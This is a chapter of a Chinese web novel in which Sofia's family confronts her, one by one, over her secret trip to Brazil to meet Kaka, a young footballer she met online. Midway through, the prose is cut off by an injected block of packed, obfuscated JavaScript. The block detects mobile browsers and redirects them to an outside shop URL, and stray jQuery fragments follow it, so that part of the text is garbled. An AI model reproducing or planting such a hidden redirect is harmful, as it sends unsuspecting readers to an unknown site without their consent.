第十一章·三堂会审
【米兰·切萨雷家·客厅】
索菲亚推开家门的时候,看到的是一幅她这辈子都没见过的画面。
客厅里挤满了人,而这场局的主角好像只有她一个。
玛丽萨进来之后坐到沙发正中间,旁边挨着切萨雷。
保罗坐在单人沙发上,阿德里亚娜坐在他身旁。亏他俩都是模特身材,居然挤得进同一张单人沙发。克里斯蒂安坐在地毯上,面前摊着一堆积木,他大概就是来凑气氛的。
多纳泰拉靠在窗边,还没吃晚饭手里就端着一杯酒。连瓦伦蒂娜都来了,坐在角落的椅子上。
所有人齐刷刷转过头,一齐向她投来目光。
索菲亚站在门口,行李箱还在手里,脖子上还挂着那条手机链。
她扫了一圈客厅,低头看了眼自己身上那件在巴西买的浅色T恤,又抬头看了看窗外米兰的天气——阴天,可能,大概也就三度。
内心OS:他们全都来了。不只是我妈,不只是保罗,是所有人。连瓦伦蒂娜都来了。她住得离这里要四十分钟,是专程过来的。他们什么时候串通好的?该不会还专门开过会商量怎么审我吧!我是不是应该先发制人,直接说“我去巴西了,他叫里卡多,十八岁,踢球的,长得好看”,然后趁他们消化信息的时候溜回房间再也不出来。
“坐下来!”玛丽萨开口,像是邀请嫌疑人落座。
索菲亚把行李箱靠在门边,换了鞋走进客厅。
她本来想坐沙发扶手,结果发现所有位置都被占了,只能手足无措地站在客厅中间。
“坐。”玛丽萨指了指克里斯蒂安旁边的地毯。
得,她现在和克里斯蒂安待遇一样了。
索菲亚盘腿坐下。克里斯蒂安抬头看了她一眼:“小姑姑,你变黑了。”
索菲亚看着他:“你再说一遍!”
“因为你真的变黑了呀。”
“谢谢你啊,克里斯蒂安。”
“不客气。”
保罗伸手把克里斯蒂安往自己身边扒拉了一点,像是要把自家好大儿和她这个蹲在地毯上的“罪犯”划清界限:“你别说话。”
“为什么?”小猫猫疑惑。
“因为小姑姑要交代问题,你保持安静。”
克里斯蒂安抬头看着索菲亚:“小姑姑,你要交代什么问题?”
索菲亚看看他,又看看保罗,再看看玛丽萨,最后求助似的看向切萨雷。切萨雷面无表情地坐在一旁,今天手里没拿报纸,他旁边放着一杯咖啡,看着索菲亚的目光十分平静,和摩拳擦掌的玛丽萨完全不一样。
行吧,她这次真死定了!切萨雷看报纸的时候是“虽然我没仔细听,但你们说的我都听见了”,不拿报纸的时候就是“我认真听着呢,你说吧”,他现在摆明了是后者,她完了。
【第一轮·玛丽萨】
“你去哪里了?”玛丽萨像是攒够了气场,幽幽开口问道。
索菲亚看着她妈,想先讨饶:“妈。”,想了一秒:“法国马赛。”
玛丽萨点了点头,接着从沙发旁的夹子里抽出一张纸,放在茶几上,推到她面前。
索菲亚低头一看,是一张天气预报截图。
上面标着马赛那几天的最低气温和最高气温。纸的下方还压着另一张打印纸——是她家客厅座机的通话记录,收到的国际长途,区号+55,是巴西。
索菲亚抬起头,玛丽萨正面无表情地看着她:“你嫂子查的天气预报,我查的通话记录。你爸开完会就在家等你回来,你哥,你哥他负责维持现场秩序。”
克里斯蒂安举起一块积木:“姑姑,你去巴西了。”
索菲亚看着他,深吸一口气:“我去巴西见他了。”
客厅里彻底安静下来,克里斯蒂安也把手里的积木放到了地毯上。保罗靠回沙发背,双手交叉抱在胸前。阿德里亚娜看着索菲亚,嘴角动了动。多纳泰拉把酒杯放到窗台上,走到沙发边坐下。瓦伦蒂娜也从角落里往前挪了一点。
玛丽萨没有拍桌子。
玛丽萨没有站起来。
玛丽萨只是把咖啡杯放下,身体往前倾了一点点,“好。从头说。我猜到了。”
“你怎么猜到的?”
“你打电话的时候说‘这边阳光很好’,可你连马赛现在几度都不知道,你不可能穿一件T恤站在八度的风里说‘阳光很好’。”
索菲亚沉默了一下:“所以你们都知道了。”
“你小时候撒谎就是这个样子,每次撒谎都要说一大堆废话。你那天在电话里说了好多,说马赛很漂亮,去了很多地方,吃得也很好,可从来不提住哪个酒店,不提去了哪些景点,不提遇到了什么人,只一个劲说‘很好’‘挺不错的’‘很棒’,这根本不是你的风格,你吐槽的时候说的才是真话。”
索菲亚看着自己的妈妈,觉得自己被彻底看穿了。她确实在电话里说了一大堆废话,本来只想糊弄过去。她妈也许是特工,去反间谍部门。
玛丽萨看着女儿——头发有点乱,皮肤晒黑了。她还记得索菲亚生病的时候,躺在床上连翻身的力气都没有,现在她坐在这儿,眼睛亮晶晶的,说自己一个人飞了半个地球,还觉得这件事理所当然。
“你有没有想过,”玛丽萨开口,“如果你去了发现他是骗子,你回不来怎么办?”
“我带钱了。”
“那如果他抢了你的钱呢?”
“他不会的。”
“你怎么能确定?”
“因为我认识他。”
玛丽萨看了她很久,转头冲阿德里亚娜递了个眼色,像是在说“轮到你了”。
【第二轮·阿德里亚娜】
阿德里亚娜从沙发上站起来,走到索菲亚身边坐下。她没有拿杂志,也没有端咖啡。她想先拉近物理距离,再拉近心理距离,坐下来之后说:“我那天回去查了天气预报。马赛那几天最低八度,最高十五度。”
索菲亚可怜巴巴地看着她:“嫂子。”
“我一听就觉得不对,我跟你哥刚去过法国,我知道那边有多冷。”
“你也猜到了。”
“我猜到你不在法国。”
“那你什么时候告诉我妈的?”
“等我查清楚天气,你妈已经发现你不对劲了。我们俩一核对——她说你打电话说了一大堆废话,我说你穿得太少,核对完就问了所有人。”
索菲亚看着她:“什么是问了所有人?”
“我们想知道还有人知道你去干什么了吗?”
玛丽萨在沙发上开口:“我叫他们过来,是因为这件事不是小事。你瞒了所有人,一个人飞了半个地球,我们得一起听你说清楚。”
【第三轮·多纳泰拉】
多纳泰拉坐在沙发上,翘着腿,手里那杯酒已经喝完了。她看着索菲亚,开口的时候语气很平:“我本来不想来的。你走了之后,又开了两场秀。我一个人还是忙不过来,找了一个临时工。妈去都比他快。”
“你回来就是为了吐槽?”
“嗨,我找你是要干活的啊。不过跟你在后场吐吐槽确实能让我心情好点,所以我就想问问——你去巴西干什么了?连赚钱都不来,你到底跑哪儿去了?”
“我去见一个人。”
“谁啊?”
“一个朋友。”
“什么朋友?”
“网上认识的。”
多纳泰拉看着她,转头看了一眼玛丽萨:“妈,还是你猜对了。”
玛丽萨点了点头。
多纳泰拉转回头:“网上认识的,你为了他飞了一天?”
“对。”
“主啊,你疯了吗?”
“可能吧。”
多纳泰拉看着她,沉默了一会,开口道:“老实交代,他长什么样?那个男的?”
“你怎么知道是男的。”
“得了,妈又猜对了”
“踢球的,十八岁,巴西人。”
“踢球?”多纳泰拉扫了一眼保罗,又看了看切萨雷,两个人脸上都没什么变化,全都是一副置身事外的样子。
多纳泰拉翻了个迷人的白眼:“踢得好吗?”
“刚受伤,还在恢复。”
“以后还踢吗?”
“他以前踢得不错,现在在重新训练。”
多纳泰拉靠回沙发,想了想:“所以你为了一个受伤的巴西球员,旷了我两场秀。”
“yes。”
多纳泰拉看着她,忽然笑了:“你是认真的。”
“你笑什么?”
“笑你啊,你以前连出门上学都不愿意,现在居然一个人飞半个地球去见网友。”
“你也觉得我疯了?”
“还没到疯的地步,就是变了。你妈,你爸,你哥觉得你变了。我只是觉得你终于活得像个小姑娘了。想当年我修学旅行,我一个人开车横穿了整个美国;我在巴黎读书的时候,一个晚上换一个约会对象,我那时候公寓的电话簿都”
“多纳泰拉你够了。”玛丽萨听得无语凝噎,“我叫你回家是说这个的吗?”
多纳泰拉耸了耸肩:“我在活跃气氛。”
【第四轮·瓦伦蒂娜】
瓦伦蒂娜从角落里站起来,走到索菲亚面前。
她蹲下来,和坐在地毯上的索菲亚平视。
“你飞了十五个小时。”
“对。”
“一个人。”
“对。”
“你在那边待了几天?”
“五天。”
“你感觉他怎么样?”
“很帅。”
“他对你好吗?”
索菲亚看着姐姐的眼睛。瓦伦蒂娜是家里最温柔的人,她没问“他是谁”“他做什么的”,只问了“他对你好吗”。
“他对我很好。”索菲亚说。
“他做了什么让你觉得他很好?”瓦伦蒂娜像在学校辅导作业那样,循循善诱,慢慢引导她。
“我们在聊天室聊了好几个月,他给我寄了手机,帮我换了更舒服安全的酒店,他怕鬼片还陪我看,送我上飞机的时候凌晨五点就到了。”
瓦伦蒂娜看着她,伸手把索菲亚垂下来的头发拨到耳后:“你看起来还不错。”
“什么?”
“你看起来很累,但状态很好。你以前生病的时候,看什么都是灰的,现在你的眼睛亮得很。你晒黑了,但整个人鲜活多了。”
索菲亚看着她,不知道该说什么。
瓦伦蒂娜站起来,走回角落的椅子坐下,没再多说什么。
【第五轮·保罗】
保罗从单人沙发上站起来,走到索菲亚面前,低头看着她:“你现在挺厉害啊,都能一个人飞十五小时了。”
“对。我变黑了也变强了。”
“去一个陌生的国家。”
“对。”
“见一个陌生人。”
“他不是陌生人。”
“网上认识的,就是陌生人。”
保罗沉默了一下,转头看了一眼阿德里亚娜,索菲亚能感觉到他在压着脾气——他不是不想发火,是在拼命忍着不发火。
“他踢什么位置?”
“中场,有时候也踢前腰。”
“巴西人?在圣保罗俱乐部吗?”
“对。”
“他踢得好吗?”
“应该和你差不多。”
保罗有点被索菲亚的滤镜惊到了,这孩子谈恋爱谈傻了,“他能踢上意甲吗?”
索菲亚顿了一下:“他在努力。”(daddy,他才不是什么穷小子.jpg)
保罗愣愣地看着她。比他小十二岁的妹妹坐在他面前,穿一件皱巴巴的T恤,脖子挂着一条土气的手机链,晒黑了,整个人却透着一股倔强和坚定。
他只能退一步,“你下次去,告诉我。”
“为什么?”
“因为我至少要知道你在哪。”
“你会拦我吗?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961546|214266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“我能拦得住你吗?”
索菲亚没有回答。
保罗也没等她回答。他伸手拍了拍她的头——就像小时候她考试考砸了那样——接着走回自己的位置坐下。
【第六轮·切萨雷】
所有人都说完了,客厅里彻底安静下来。切萨雷从沙发上站起身,走到索菲亚面前。他低头看着她,良久才开口问道:“你去踢球了?”
索菲亚愣了一下,她没想到切萨雷会问这个。
“踢了一个下午。”
“你很久没踢了。”
“我知道。”
“为什么想去踢?”
索菲亚想了想,这个问题比“你去哪了”更难回答。她去巴西是因为想见卡卡,可她踢球是为了别的原因。
“因为我发现,不用想那么多,我还能踢。”
切萨雷看着她点了点头,只是说:“你小时候踢球,我教过你护球,你还记得吗?”
“记得。”
“你护球的时候,从来不怕对方后卫。你站在他们面前,把球挡在身后,等他们来抢,从来不会躲。”
“我记得。”
“那时候你太小了,我还以为你早把这件事忘了。”
切萨雷老了,可背依然挺得笔直,“你高中毕业之后,打算做什么?”
“我不知道。”
“你想过踢球吗?”
“我二十了。踢不了了。”
“也许踢不了职业,”切萨雷说,“但你可以试试别的方向,不一定非得当球员,可以做教练,可以做体育管理,也可以试试别的运动。你不需要现在就做决定,但你要知道,我一直都支持你,你还有时间。你不用现在就想明白答案,但你该开始考虑了。你飞半个地球去见一个陌生男孩,说明你有勇气,以后把这份勇气用在自己身上就好。”
索菲亚看着他。
“你踢球这件事,我很高兴;你去巴西这件事,我不太高兴,但这两件事不冲突。”
整间屋子都安安静静的,除了切萨雷和克里斯蒂安,其他人脸上的表情都一言难尽。
多纳泰拉小声说了一句:“爸是叛徒。”
保罗说:“爸衬托得我们都很傻。”
瓦伦蒂娜补充:“还很坏。”
就连原本担任审判长的玛丽萨都翻了个白眼,原定主持这场问责的大法官,就这样当庭投降了。
【散场】
其他人陆续走了。
多纳泰拉走的时候拍了拍她的肩膀:“先来秀场把活干完,有钱等着你赚呢,你出去一躺,钱包空了吧。”
瓦伦蒂娜走的时候,在她额头上亲了一下:“爸妈都没有真的生气,你好好休息。”
阿德里亚娜走的时候,在门口看了她一眼:“你哥交给我搞定。”于是保罗被拖着走的时候,什么也没说。
玛丽萨最后一个起身,她走到索菲亚面前,端起了茶几上那杯已经凉透的咖啡。
“你去巴西的事,我不生气,但你瞒着我们,我真的很伤心。”
“妈,对不起。”
“你不用道歉,只要答应我一件事。”
“什么事?”
“下次去的时候告诉我,妈妈不会拦你,但你得让我知道你在哪,可以吗?”
索菲亚看着妈妈,点了点头。
玛丽萨上楼了。
索菲亚一个人坐在客厅里,看着地毯上克里斯蒂安落下的一块积木,捡起来放在了茶几上。
然后她拿出手机,翻到卡卡的号码,发了一条消息:“我活着出来了。”
回复来得很快:“所有人都在?”
“所有人。我妈,我爸,我哥,我嫂子,我二姐,我三姐,一共六个人。”
“六个?”
“对。他们把我围在客厅中间,我坐在我侄子旁边。”
“你爸说了什么?”
“他问我以后踢不踢球。”
“踢球?”
“对。他说我小时候踢球很勇敢,问我以后想干什么。”
“你怎么说的?”
“我说不知道。”
卡卡顿了顿,发来消息:“但我知道,就算不做职业,足球也会让你开心。”
索菲亚看着那行字,打字回道:“嗯,我哥等着你踢上意甲呢。”
她没等回复,站起身,上楼回了自己房间,换了衣服洗澡。
她躺到床上,看着天花板,把脖子上的手机链摘下来放在枕边,那个小小的足球挂饰在灯下闪了一下光。
她闭上眼睛,脑子里想着父亲说的那句“你还有时间”。
她不知道这句话到底是什么意思,可她把另一句话记牢了:她踢球的事,父亲高兴;她去巴西的事,父亲不高兴,但这两件事不冲突。
她翻了个身,把脸埋进枕头里。明天起来还要给卡卡打电话,
她会告诉他,爸爸说她还有时间;她会问他,你那边还需要多久;他会说,用不了太久;她会说,你每次都这么说;他会说,因为我每次说到都一定做到。
她笑了,接着便睡着了。
【圣保罗·莱特家】
卡卡坐在自己房间里。他刚跟博斯科面对面谈完。谈不上吵架——他爸没吼,他也没吼。两个人只是坐在客厅里,彼此沉默了很久。最后博斯科说了一句:“我需要时间。”
卡卡说:“我知道。”
然后他上楼了。他坐在床上,手里拿着手机,翻到索菲亚的号码。
他发了一条消息:“我爸说需要时间。”
索菲亚没有回。
卡卡把手机放在枕边,躺下。天花板上有一道从窗外透进来的路灯的光。他看着那道光,想了一件事——他要踢上球。然后他要站在她家门口。
他得先让博斯科同意。然后再让切萨雷同意。再让玛丽萨同意。还有她三个哥哥、三个姐姐、还有她嫂子、姐夫、侄子侄女。
他忽然觉得,自己面临的这条意大利后防线,比任何一场比赛都难。